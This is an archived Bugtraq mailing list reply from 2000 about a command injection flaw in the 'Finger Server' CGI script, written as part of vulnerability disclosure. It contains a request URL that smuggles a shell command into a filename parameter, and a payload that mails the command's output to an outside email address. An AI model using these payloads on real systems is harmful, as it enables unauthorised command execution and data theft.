[13727] in bugtraq
Re: "The Finger Server"
daemon@ATHENA.MIT.EDU (Iain Wade)
Mon Feb 7 15:53:59 2000
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
Message-Id: <200002051035.VAA12205@osca.mpx.com.au>
Date: Sat, 5 Feb 2000 21:35:15 +1100
Reply-To: Iain Wade <iwade@optusnet.com.au>
From: Iain Wade <iwade@OPTUSNET.COM.AU>
X-To: Noam Rathaus <noamr@securiteam.com>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <001701bf6fca$7c7b5e40$e91ab3d4@noam>
> Hi,
>
> I am unable to reproduce this problem. I tried doing:
>finger.cgi?action=archives&cmd=specific&filename=99.10.28.15.23.use>
rname.plan.|id|
>
> And it didn't work.
>
I should have pointed out that the output will not get
to you (the web client) obviously if you use |<shell
command>| .. it does however get executed ...
I mailed the output to a @yahoo.com address ..
So an example to test it could be
|id|mail+email@address|
Surrounding it in pipes was the only way I could get it
to execute, otherwise it would return open errors ..
---
Iain Wade - Optus Internet
Email: iwade@optusnet.com.au
